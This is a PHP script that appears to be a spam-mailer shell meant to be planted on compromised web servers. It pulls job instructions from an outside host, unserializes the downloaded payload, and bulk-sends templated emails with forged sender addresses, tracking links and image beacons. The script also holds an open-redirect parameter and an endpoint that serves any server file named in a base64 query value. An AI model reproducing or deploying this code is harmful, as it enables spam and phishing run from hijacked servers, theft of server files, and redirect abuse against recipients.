<?php

if(isset($_GET['name'])){

$name = base64_decode($_GET['name']);

header("Content-type: application/octet-stream");
header("Content-Disposition: attachment; filename=\"".basename($name)."\"");

echo file_get_contents($name);
die();
}

if(isset($_GET['cool'])){

$name = base64_decode($_GET['cool']);


header("Location: ".trim($name));
exit;
die();
}


$imgfolder = 'mailimg'; 

function zaeb($str){

return str_replace('//','/',$str);
}

Function mail_to($to, $from, $subj, $text, $files=null){
	
	$boundary = md5(uniqid(time()));

	$headers[] = "MIME-Version: 1.0";
	$headers[] ="Content-Type: text/html; charset=utf-8";
	$headers[] ="From: ".$from;
	$headers[] ="Reply-To: ".$from;
	$headers[] ="Return-Path: ".$from;
	//$headers[] ="Precedence: bulk";
	//Precedence: bulk

	//$multipart[]= $text;


$headers=implode("\r\n", $headers);
//$multipart=implode("\r\n", $multipart);

return mail($to, $subj, $text, $headers);
}

#РњР°РєСЂРѕСЃС‹
function makros($data,$mail){

global $imgfolder;
	$data = str_replace('[RANDIMGNAME]',''.md5(rand(1000000,90000000)),$data);

	$data = str_replace('[TIME]',time(),$data);
	
	
	$raport = '';

			//echo $_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'];

		while(strstr($data, "[LOCK-")){
		
			preg_match("~\[LOCK\-(.*?)\]~is", $data, $m1);
			
			
			$data = preg_replace("/\[LOCK\-(.*?)\]/is", base64_encode($m1[1]), $data, 1);	
			
	}
	
	while(strstr($data, "[LINK-")){
		
			preg_match("~\[LINK\-(.*?)\]~is", $data, $m1);
			
			
			$data = preg_replace("/\[LINK\-(.*?)\]/is", 'http://'.zaeb($_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']).'?cool='.base64_encode($m1[1]).$raport, $data, 1);	
			
	}
	
		while(strstr($data, "[CHEK-")){
		
			preg_match("~\[CHEK\-(.*?)\]~is", $data, $m1);
			
			
			$data = preg_replace("/\[CHEK\-(.*?)\]/is", 'http://'.zaeb($_SERVER['HTTP_HOST'].str_replace(basename($_SERVER['SCRIPT_NAME']),'',$_SERVER['SCRIPT_NAME'])).$imgfolder.'/'.base64_encode(time().'|'.trim($m1[1]).'|').'.jpg', $data, 1);	
			
	}
	
		if(intval($_POST['allowimg'])==1){
	
			while(strstr($data, "[FILES-")){
		
			preg_match("~\[FILES\-(.*?)\]~is", $data, $m1);
			
			
			$data = preg_replace("/\[FILES\-(.*?)\]/is", 'http://'.zaeb($_SERVER['HTTP_HOST'].str_replace(basename($_SERVER['SCRIPT_NAME']),'',$_SERVER['SCRIPT_NAME'])).$imgfolder.'/'.base64_encode(time().'|'.trim($m1[1]).'|').'.jpg', $data, 1);	
			
			}
	
		}else{
		
				while(strstr($data, "[FILES-")){
		
					preg_match("~\[FILES\-(.*?)\]~is", $data, $m1);
			
			
					$data = preg_replace("/\[FILES\-(.*?)\]/is", 'http://'.zaeb($_SERVER['HTTP_HOST'].str_replace(basename($_SERVER['SCRIPT_NAME']),'',$_SERVER['SCRIPT_NAME'])).$imgfolder.'/img.php?i='.base64_encode(time().'|'.trim($m1[1]).'|').'.jpg', $data, 1);	
			
			}
		
		
		}
	//$data = str_replace('[CHEK]','http://'.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'].'?watch=[MAIL]&file=',$data);
	


	return $data;
}

function get_data($pop_conn)
{
    $data="";
    while (!feof($pop_conn)) {
        $buffer = chop(fgets($pop_conn,1024));
        $data .= "$buffer\r\n";
        if(trim($buffer) == ".") break;
    }
    return $data;
}

function chekinbox(){

	
}



set_time_limit(0);
ignore_user_abort(true);


//header("Location: http://google.com"); 
//header("Connection: close");
ob_flush();
flush();


$file = file_get_contents('http://cointravalencia.com/url.txt');

if(!strstr($file,'http:'))die();


$curlInit = curl_init($file);

curl_setopt($curlInit,CURLOPT_CONNECTTIMEOUT,10);
curl_setopt($curlInit,CURLOPT_HEADER,false);
curl_setopt($curlInit,CURLOPT_RETURNTRANSFER,true);
$response = curl_exec($curlInit);
curl_close($curlInit);
if(empty($curlInit))die();


$work = unserialize(base64_decode($response));

$from = $work['name']." <".$work['name']."@".$_SERVER['HTTP_HOST'].">";

$subj = $work['title'];
	
$mails = $work['mails'];
		
if(isset($_GET['tst']))$mails = array(trim($_GET['tst']));	
		
if(count($mails)==0)die('tut1');
	
foreach($mails as $mail){
		
		if(strstr($mail, ':')){
		
			$mail = explode(':',$mail);


			$one = $mail[1];
			$two = $mail[2];
			$mail = $mail[0];
			$shaaaab = intval($two);
		
		
		}

		
		$data = $work['shab'];
		
		if(isset($work['shab'][$shaaaab])){
		
			$data = $work['shab'][$shaaaab];
		
		}else{
			
			$data = $work['shab'][0];
			
		}
		$newsubj = $subj;
		$newsubj = str_replace('[MD5MAIL]',md5($mail),$newsubj);
	
		
		$datanew = str_replace('[TITLE]',$subj,$data);
		
		$datanew = str_replace('[DOWNLOADLINK]','http://'.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'].'?name=',$datanew);	
		
		$datanew = str_replace('[MAIL]',$mail,$datanew);
		$datanew = str_replace('[ZADID]',intval($work['zadid']),$datanew);
		$datanew = str_replace('[MD5TIME]',@$work['time'],$datanew);
		$datanew = str_replace('[MD5MAIL]',md5($mail),$datanew);
		$datanew = str_replace('[SHELLID]',intval($work['shid']),$datanew);
		
		
				$datanew = str_replace('[SHELLID]',intval($work['shid']),$datanew);
				
				
				$datanew = str_replace('[MAILBASE]',base64_encode($mail),$datanew);
		
		

		if(isset($one)){

			$datanew = str_replace('[ONE]',$one,$datanew);
			$newsubj = str_replace('[ONE]',$one,$newsubj);
		}
		if(isset($two)){

			$datanew = str_replace('[TWO]',$two,$datanew);
			$newsubj = str_replace('[TWO]',$two,$newsubj);
			
		}
		
		//
		$datanew = str_replace('//img','/img',$datanew);
		$datanew = makros($datanew,$mail);

		
		
		mail_to("<$mail>", $from, $newsubj, $datanew);				
				
	
}
	
		
die('work down');